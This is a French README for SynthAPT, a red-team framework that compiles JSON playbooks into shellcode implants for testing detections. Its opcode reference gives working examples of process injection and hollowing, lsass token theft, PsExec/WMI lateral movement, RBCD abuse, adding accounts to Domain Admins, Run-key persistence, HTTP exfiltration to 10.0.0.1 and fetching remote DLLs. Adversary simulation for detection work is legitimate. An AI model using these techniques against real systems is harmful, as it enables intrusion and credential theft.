SynthAPT

Aperçu
SynthAPT est un framework de simulation d'adversaires basé sur des playbooks pour reproduire des chemins d'attaque complexes. Il est conçu pour valider les détections avancées et les agents d'investigation basés sur l'IA. L'idée centrale est que le comportement des malwares peut être exprimé en JSON et compilé en un malware fonctionnel, permettant un développement rapide de scénarios réalistes à l'aide de LLMs.

L'implant central est une charge utile de shellcode pilotée par un interpréteur de playbook. Un playbook prédéfinit l'intégralité du chemin d'attaque et l'implant le suit, se déplaçant dans l'environnement via l'injection de processus, le mouvement latéral, etc. Chaque implant apparaît comme un thread indépendant avec son propre jeu d'instructions, de sorte que les attaques multi-étapes (par exemple, accès initial → élévation de privilèges → mouvement latéral → exfiltration) sont exprimées sous forme de graphe d'implants coopérants, tous définis à l'avance dans le playbook. Cela présente trois avantages majeurs :
- Les charges utiles peuvent imiter de vrais malwares sans infrastructure C2 - le chemin d'attaque complet est intégré dans la charge utile et les interactions C2 peuvent être simulées
- Les charges utiles sont reproductibles - elles exécutent l'intégralité du chemin d'attaque de manière identique à chaque fois, ce qui les rend adaptées aux tests de régression des détections
- Les LLMs peuvent traduire des rapports de renseignement sur les menaces et des blogs directement en charges utiles fonctionnelles, sans nécessiter d'expertise offensive ni de construction de malwares à partir de zéro

Fonctionnalités
- Shellcode indépendant de la position - l'implant est entièrement PIC et peut être intégré dans n'importe quel loader ou injecteur
- Bibliothèque d'opcodes riche - exécution, manipulation de jetons, injection de processus, process hollowing, mouvement latéral, énumération et modification AD, registre, services, et plus encore
- Charges utiles auto-réplicatives - l'implant peut se déposer lui-même en tant qu'EXE ou DLL avec un ensemble de tâches différent, permettant une livraison multi-étapes sans C2
- Formats de sortie flexibles - compiler un playbook en shellcode brut, un EXE PE ou une DLL PE
- Python en mémoire - un interpréteur Python peut être chargé par réflexion à l'exécution, exposant toutes les capacités de l'implant en tant que module Python pour un scripting flexible
- Simulation de PNJ - les opcodes 'explorer' permettent de décompresser et de lancer automatiquement des charges utiles d'une manière qui reproduit automatiquement les artefacts d'interaction utilisateur (lorsqu'injecté dans Explorer.exe)
- Éditeur TUI avec agent LLM - un éditeur de playbook en terminal avec un agent Claude intégré qui peut générer et éditer des playbooks à partir de langage naturel ou de renseignements sur les menaces
- Chargeur BOF - les fonctionnalités peuvent être étendues avec des fichiers Beacon Object standard
Compilation à partir des sources
Si vous ne souhaitez pas utiliser la version précompilée, vous pouvez le compiler comme suit :
- cargo
- rustup
- binutils-mingw-w64-x86-64```bash
cargo install cargo-make
rustup toolchain install nightly
rustup target add x86_64-pc-windows-gnu --toolchain nightly
sudo apt install gcc-mingw-w64-x86-64
Construire avec cargo make:```bash
cargo make build
./target/release/synthapt
Cela compilera le shellcode et l'éditeur.
Utilisation
Exécuter SynthAPT sans aucune commande vous amènera dans l'éditeur. Vous pouvez fournir une clé API Claude et voir les modifications pendant que vous interrogez.```bash
SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands:
edit Open the TUI editor with a playbook loaded from PATH
validate Validate a playbook JSON file and print any errors
export-skill Export the agent system prompt as a Claude Code slash command skill
compile Compile a playbook to a payload
Si vous souhaitez utiliser un autre LLM ou un abonnement, vous pouvez exécuter `synthapt export-skill` et utiliser cela avec n'importe quelle configuration de codage que vous avez.
Cela devrait produire un JSON playbook. Compilez-le en un payload avec la commande compile :```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
Référence des opcodes
Les constantes peuvent être définies comme des chaînes, des objets hexadécimaux ou des objets base64 :```json
"constants": [
"c:\windows\temp\file.txt",
{ "hex": "deadbeef" },
{ "base64": "SGVsbG8=" }
]
---
### end (0x00)
Fin de l'ensemble de tâches. Ajouté automatiquement par le compilateur - vous n'avez pas besoin de l'ajouter.
---
### store_result (0x01)
Stocke le résultat de la dernière opération dans une variable.
| Champ | Type | |
|-------|------|-|
| var | u16 | **obligatoire** |```json
{ "op": "store_result", "var": 0 }
get_shellcode (0x02)
Retourne les octets shellcode actuels avec un ID de tâche et/ou une valeur magique optionnelle injectée.
| Champ | Type | |
|---|
| task | u8 | optionnel |
| magic | u32 hex string or number | optionnel |
---
### sleep (0x03)
Pause pendant le nombre donné de millisecondes.
| Champ | Type | |
|-------|------|-|
| ms | u32 | **requis** |```json
{ "op": "sleep", "ms": 5000 }
run_command (0x04)
Exécuter une commande via cmd.exe.
| Champ | Type | |
|---|
| command | string | obligatoire |
| { "op": "run_command", "command": "whoami /all" } | | |
---
### get_cwd (0x05)
Obtenir le répertoire de travail actuel. Aucun argument.```json
{ "op": "get_cwd" }
read_file (0x06)
Lire un fichier et retourner son contenu.
| Field | Type | |
|---|
| path | string | obligatoire |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | | |
| { "op": "read_file", "path": "%0" } | | |
---
### write_file (0x07)
Écrire des octets dans un fichier.
| Champ | Type | |
|-------|------|-|
| path | string | **obligatoire** |
| content | bytes | *optionnel* (fichier vide si omis) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
check_error (0x08)
Affiche le code de statut d'une variable (0 = succès, non nul = erreur).
| Field | Type | |
|---|
| var | u16 | requis |
| { "op": "check_error", "var": 0 } | | |
---
### conditionnel (0x09)
Branchement vers différents indices de tâche selon l'état d'une variable.
| Champ | Type | |
|-------|------|-|
| mode | `"data"` ou `"error"` | **obligatoire** |
| var1 | u16 | **obligatoire** |
| var2 | u16 | *optionnel* (compare deux variables au lieu d'une seule vérification) |
| true | u16 | **obligatoire** (index de tâche si condition est vraie) |
| false | u16 | **obligatoire** (index de tâche si condition est fausse) |
`true_target` et `false_target` sont acceptés comme alias pour `true` et `false`.
Modes à une variable :
- `"data"` — vrai si var1 a des données non vides
- `"error"` — vrai si le statut de var1 est 0 (succès)
Modes à deux variables (var2 présent) :
- `"data"` — vrai si les données de var1 sont égales aux données de var2
- `"error"` — vrai si le code d'erreur de var1 est égal au code d'erreur de var2```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
set_var (0x0A)
Définir une variable sur une valeur littérale.
| Field | Type | |
|---|
| var | u16 | obligatoire |
| data | bytes | optionnel (vide si omis) |
Les valeurs littérales de chaîne et hex/base64 sont stockées avec un préfixe de résultat de 5 octets afin qu'elles ressemblent à des résultats d'opération normaux lors de la lecture. Les références de variable ($n) et de constante (%n) sont transmises telles quelles.```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
### print_var (0x0B)
Affiche le contenu d'une variable vers stdout (débogage). Omettez `var` pour afficher le dernier résultat de l'opération.
| Field | Type | |
|-------|------|-|
| var | u16 | *optionnel* (affiche le dernier résultat si absent) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
goto (0x0C)
Saut inconditionnel vers un index de tâche dans l'ensemble de tâches courant.
| Field | Type | |
|---|
| target | u16 | obligatoire |
| { "op": "goto", "target": 2 } | | |
### migrate (0x0D)
Injecter un shellcode dans un processus correspondant à une chaîne de recherche ou un PID.
| Champ | Type | |
|-------|------|-|
| task_id | u8 | **obligatoire** |
| search | chaîne ou nombre | *optionnel* (vide = pas de recherche ; nombre = PID cible) |
| magic | chaîne hexadécimale u32 ou nombre | *optionnel* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
list_procs (0x0E)
Liste les processus en cours. Renvoie des lignes séparées par des tabulations : pid\timage\tcmdline\n. Aucun argument.```json
{ "op": "list_procs" }
---
### get_const (0x0F)
Charger une constante dans le dernier résultat. Accepte `index` ou `const_idx` comme nom de champ.
| Champ | Type | |
|-------|------|-|
| index | u16 | **Obligatoire** |```json
{ "op": "get_const", "index": 0 }
wmi_exec (0x10)
Exécute une commande via WMI, éventuellement sur un hôte distant.
---
### http_send (0x11)
Envoyer une requête HTTP/S.
| Champ | Type | |
|--------|--------|-----------------------|
| host | string | **obligatoire** |
| method | string | *optionnel* (défaut : `"GET"`) |
| port | u16 | *optionnel* (défaut : `80`) |
| path | string | *optionnel* (défaut : `"/"`) |
| secure | bool | *optionnel* (défaut : `false`) |
| body | bytes | *optionnel* (vide si omis) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }
sacrificial (0x12)
Lance un processus suspendu, injecte du shellcode et le reprend.
---
### redirect_stdout (0x13)
Redirige stdout vers un fichier ou un tube nommé. La sortie ultérieure de `run_command` y est redirigée.
| Champ | Type | |
|-------|------|-|
| path | string | **requis** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }
shellcode_server (0x14)
Démarrer un serveur TCP qui sert du shellcode aux clients qui se connectent. Chaque client reçoit une copie avec une valeur magique qui s'incrémente.
| Champ | Type | |
|---|
| port | u16 | obligatoire |
| magic_base | u32 chaîne hexadécimale ou nombre |
---
### resolve_hostname (0x15)
Résout un nom d'hôte en une adresse IPv4 (chaîne).
| Champ | Type | |
|-------|------|-|
| hostname | string | **requis** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }
psexec (0x16)
Copie un binaire vers un hôte distant via SMB et l'exécute en tant que service (mouvement latéral de type PsExec).
---
### generate_exe (0x17)
Génère un exécutable PE avec le shellcode et le bytecode actuels intégrés.
| Champ | Type | |
|-------|------|-|
| task_id | u8 | **requis** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }
run_bof (0x18)
Exécute un fichier d'objet Beacon (BOF).
---
### query_ldap (0x19)
Interroge un annuaire LDAP.
| Champ | Type | |
|-------|------|-|
| base | string | **obligatoire** (DN de base) |
| filter | string | **obligatoire** |
| scope | u8 | *optionnel* (par défaut: `2` = sous-arbre; `0` = base, `1` = un niveau) |
| attribute | string | *optionnel* (vide = retourne tous les attributs) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }
set_ad_attr_str (0x1A)
Définit un attribut Active Directory sur une valeur de chaîne.
---
### set_ad_attr_bin (0x1B)
Définit un attribut Active Directory sur une valeur binaire. Passez une valeur vide pour supprimer l'attribut.
| Field | Type | |
|-------|------|-|
| dn | string | **requis** |
| attr | string | **requis** |
| value | bytes | **requis** (vide = supprimer l'attribut) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }
portscan (0x1C)
Scanne les ports TCP sur une ou plusieurs cibles. Renvoie des lignes host\tport\n pour les ports ouverts uniquement.
---
### set_user_password (0x1D)
Définir le mot de passe d'un utilisateur local ou de domaine via NetUserSetInfo.
| Champ | Type | |
|-------|------|-|
| username | string | **obligatoire** |
| password | string | **obligatoire** |
| server | string | *optionnel* (vide = machine locale) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }
add_user_to_localgroup (0x1E)
Ajouter un utilisateur à un groupe local via NetLocalGroupAddMembers.
---
### remove_user_from_localgroup (0x1F)
Supprimer un utilisateur d'un groupe local via NetLocalGroupDelMembers.
| Champ | Type | |
|-------|------|-|
| group | string | **obligatoire** |
| username | string | **obligatoire** |
| server | string | *optionnel* (vide = machine locale) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }
get_user_sid (0x20)
Rechercher la chaîne SID d'un utilisateur via LookupAccountName.
| Field | Type | |
|---|
| username | string | obligatoire |
| server | string | optionnel (vide = machine locale) |
Retourne une chaîne SID, par ex. S-1-5-21-....```json
{ "op": "get_user_sid", "username": "Administrator" }
{ "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }
---
### add_user_to_group (0x21)
Ajouter un utilisateur à un groupe de domaine via NetGroupAddUser.
| Champ | Type | |
|-------|------|-|
| group | string | **obligatoire** |
| username | string | **obligatoire** |
| server | string | *optionnel* (vide = DC local) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
remove_user_from_group (0x22)
Supprime un utilisateur d'un groupe de domaine via NetGroupDelUser.
---
### create_rbcd_ace (0x23)
Construisez un ACE binaire pour la délégation contrainte basée sur les ressources. Le résultat convient pour une écriture directe dans `msDS-AllowedToActOnBehalfOfOtherIdentity`.
| Champ | Type | |
|-------|------|-|
| sid | string | **obligatoire** (chaîne SID, par ex. de `get_user_sid`) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }
reg_create_key (0x24)
Créer une clé de registre.
| Field | Type | |
|---|
| key | string | obligatoire (chemin complet, ex. "HKLM\\SOFTWARE\\MyApp") |
| { "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" } | | |
---
### reg_delete_key (0x25)
Supprimer une clé de registre.
| Champ | Type | |
|-------|------|-|
| key | string | **requis** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }
reg_set_value (0x26)
Définir une valeur de registre.
---
### reg_query_value (0x27)
Interroge une valeur de registre. Renvoie les octets bruts de la valeur.
| Champ | Type | |
|-------|------|-|
| key | string | **obligatoire** |
| value_name | string | **obligatoire** (chaîne vide pour la valeur par défaut) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }
make_token (0x28)
Crée un jeton d'emprunt d'identité via LogonUser et l'emprunte. Le type d'ouverture de session par défaut est 9 (LOGON32_LOGON_NEW_CREDENTIALS), qui utilise les informations d'identification fournies pour les connexions réseau sortantes tout en conservant le jeton local inchangé.
### impersonate_process (0x29)
Ouvrir un jeton de processus et l'emprunter. Utile pour l'escalade de privilèges ou le vol de jetons latéral.
| Field | Type | |
|-------|------|-|
| search | string | **requis** (correspond au nom de l'image ou à la ligne de commande) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }
enable_privilege (0x2A)
Activer un privilège sur un jeton de processus.
### list_process_privs (0x2B)
Liste les noms de privilèges et leur état activé/désactivé pour un processus. Retourne des lignes `name\tenabled\n` ou `name\tdisabled\n`.
| Champ | Type | |
|-------|------|-|
| search | string | *facultatif* (vide = processus actuel) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }
list_thread_privs (0x2C)
Liste les privilèges sur le jeton du thread actuel. Renvoie le même format que list_process_privs. Aucun argument.```json
{ "op": "list_thread_privs" }
---
### delete_file (0x2D)
Supprimer un fichier.
| Champ | Type | |
|-------|------|-|
| path | string | **obligatoire** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }
revert_to_self (0x2E)
Revenir au jeton de processus original, mettant fin à toute usurpation. Aucun argument.```json
{ "op": "revert_to_self" }
---
### start_service (0x2F)
Démarrer un service Windows.
| Champ | Type | |
|-------|------|-|
| service_name | string | **obligatoire** |
| target | string | *optionnel* (vide = machine locale) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }
delete_service (0x30)
Supprimer un service Windows.
| Champ | Type | |
|---|
| service_name | string | obligatoire |
---
### create_thread (0x31)
Crée un nouveau thread dans le processus actuel exécutant une copie du shellcode. Si `magic` est omis, analyse les tas du processus pour trouver un magic unique qui n'entrera pas en collision avec les instances existantes.
| Field | Type | |
|-------|------|-|
| task | u8 | *optionnel* (omettre ou `255` = même ensemble de tâches que le thread actuel) |
| magic | chaîne hexadécimale u32 ou nombre | *optionnel* (détecté automatiquement si omis) |
> **Avertissement** : omettre `task` exécute le même ensemble de tâches dans un nouveau thread. Si l'ensemble de tâches appelle à nouveau `create_thread`, cela provoque des threads infinis.```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }
generate_dll (0x32)
Génère une DLL avec le shellcode actuel intégré. Exécute le shellcode sur DLL_PROCESS_ATTACH et exporte une fonction nommée qui exécute également le shellcode.
---
### shell_execute (0x33)
Exécute un fichier en utilisant ShellExecuteEx via COM. Le processus résultant semble être lancé par le shell.
| Champ | Type | |
|-------|------|-|
| path | string | **obligatoire** |
| verb | string | *optionnel* (par exemple `"open"`, `"runas"`) |
| args | string | *optionnel* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }
Extrait une archive ZIP à l'aide du Windows Shell.
| Field | Type | |
|---|
| path | string | obligatoire (chemin vers le fichier ZIP) |
L'extraction se fait dans un dossier portant le même nom que le fichier ZIP (sans extension) dans le même répertoire.```json
{ "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }
---
### shell_execute_explorer (0x35)
Exécute un fichier via explorer.exe en tant que processus parent en utilisant COM. Le processus créé semble avoir été lancé par l'utilisateur depuis Explorer.
| Champ | Type | |
|-------|------|-|
| path | string | **requis** |
| verb | string | *optionnel* |
| args | string | *optionnel* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }
load_library (0x36)
Charge une DLL dans le processus courant via LoadLibraryW.
| Champ | Type | |
|---|
| path | string | requis |
| { "op": "load_library", "path": "C:\Users\Public\payload.dll" } | | |
---
### pyexec (0x37)
Télécharge une DLL Python depuis une URL (mise en cache en mémoire après le premier téléchargement), puis exécute un script Python. Expose un module `agent` avec des liaisons vers tous les opcodes de l'agent.
| Field | Type | |
|-------|------|-|
| url | string | *optionnel* (URL vers la DLL Python ; vide = utiliser le Python déjà chargé) |
| script | string | *optionnel* (code Python à exécuter ; vide = initialiser sans exécuter) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }
hollow (0x38)
Détournement de processus (process hollowing) : lancer un processus légitime en mode suspendu, écraser son point d’entrée avec une shellcode, et reprendre l’exécution.
---
### migrate_apc (0x39)
Crée un processus en suspension, alloue de la mémoire RWX, écrit le shellcode, place un APC dans le thread principal, puis reprend l'exécution. Retourne le PID du processus créé.
| Champ | Type | |
|-------|------|-|
| image | string | **requis** |
| task_id | u8 | **requis** |
| magic | u32 hex string or number | *optionnel* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }
register_service (0x3A)
Enregistre le processus actuel en tant que service Windows en appelant StartServiceCtrlDispatcher. Doit être appelé tôt lorsque le processus est démarré par le Service Control Manager, sinon SCM le tuera après environ 30 secondes. Exécute la communication SCM dans un thread d'arrière-plan afin que l'ensemble des tâches principales se poursuive normalement.
| Champ | Type | |
|---|
| service_name | string | requis (alias: name) |
| { "op": "register_service", "service_name": "MySvc" } | | |
### exit_process (0x3B)
Termine le processus en cours.
| Champ | Type | |
|-------|------|-|
| exit_code | u32 | *optionnel* (par défaut : `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }
hollow_apc (0x3C)
Lancer un processus en suspension et injecter du shellcode via APC. Similaire à migrate_apc mais avec usurpation de PPID en option.
---
### frida_hook (0x3F)
Télécharge une DLL Frida gadget depuis une URL (mise en cache après le premier téléchargement) et installe un hook JavaScript.
| Champ | Type | |
|-------|------|-|
| url | string | **requis** |
| script | string | **requis** (JavaScript utilisant l'API Frida) |
| name | string | *optionnel* (nom du hook pour référence ultérieure avec `frida_unhook`) |
| callback_host | string | *optionnel* (hôte vers lequel envoyer les messages `send()` via HTTP POST) |
| callback_port | u16 | *optionnel* |
| batch_size | u32 | *optionnel* (messages par lot HTTP POST ; défaut : `50`) |
| flush_interval | u32 | *optionnel* (intervalle de vidage en ms ; défaut : `5000`) |
Les messages envoyés via `send()` en JavaScript sont soit publiés vers `callback_host:callback_port/frida`, soit écrits sur stdout si aucun callback n'est configuré.```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }
frida_unhook (0x40)
Décharger un hook Frida. Sans argument, décharge tous les hooks.
---
### kill (0x42)
Tuer une instance d'agent en cours d'exécution par sa valeur magique.
| Champ | Type | |
|-------|------|-|
| magic | u32 hex string or number | *optionnel* (omettre pour tuer l'instance actuelle) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }
http_beacon (0x43)
Connect to an HTTP C2 server and poll for bytecode tasks.
---
### mem_read (0x44)
Lire des octets bruts depuis une adresse mémoire dans le processus courant ou un processus distant.
| Field | Type | |
|-------|------|-|
| address | hex string | **requis** (adresse sous forme de caractères hexadécimaux, e.g. `"7FFE0030"` ; le préfixe `0x` est supprimé automatiquement) |
| size | u32 | **requis** |
| pid | u32 | *optionnel* (processus distant ; omettre pour une lecture locale) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }
dll_list (0x45)
Parcourir la PEB LDR InLoadOrderModuleList et renvoyer les modules chargés. Renvoie une Vec<ProcessResult<ModuleInfo>> sérialisée en postcard.
---
### mem_map (0x46)
Énumérer les régions de mémoire virtuelle via `VirtualQuery`/`VirtualQueryEx`. Retourne sérialisé en postcard `Vec<ProcessResult<MemRegion>>`. Ignore les régions FREE ; les régions IMAGE incluent le nom du module et la section PE.
| Champ | Type | |
|-------|------|-|
| pid | u32 or `"all"` | *optionnel* (omettre = processus actuel ; `"all"` = tous les processus accessibles) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }
malfind (0x47)
Recherche les régions mémoire privées exécutables engagées — indicateurs de shellcode injecté ou de DLL réflexives. Ignore les pages entièrement nulles et note les régions avec des en-têtes MZ. Retourne un Vec<ProcessResult<MalfindHit>> sérialisé en postcard.
---
### ldr_check (0x48)
Référencer de manière croisée les régions mémoire IMAGE par rapport à la liste des modules PEB pour trouver les DLL non liées ou cachées — régions avec des en-têtes MZ non présentes dans `InLoadOrderModuleList`. Retourne `Vec<ProcessResult<LdrCheckHit>>` sérialisé en postcard.
| Champ | Type | |
|-------|------|-|
| pid | u32 ou `"all"` | *optionnel* (omis = processus actuel ; `"all"` = tout processus accessible) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }
Détection
Comme tous les frameworks, l'implant a une empreinte mémoire distincte, et de nombreuses chaînes en clair qui le trahissent. Vous pouvez construire des signatures à partir du fichier shellcode de base : out/shellcode.bin
Attribution
Ce projet est une extension de Rustic64Shell par safedev.
La DLL Python chargée de manière réflexive provient de farfella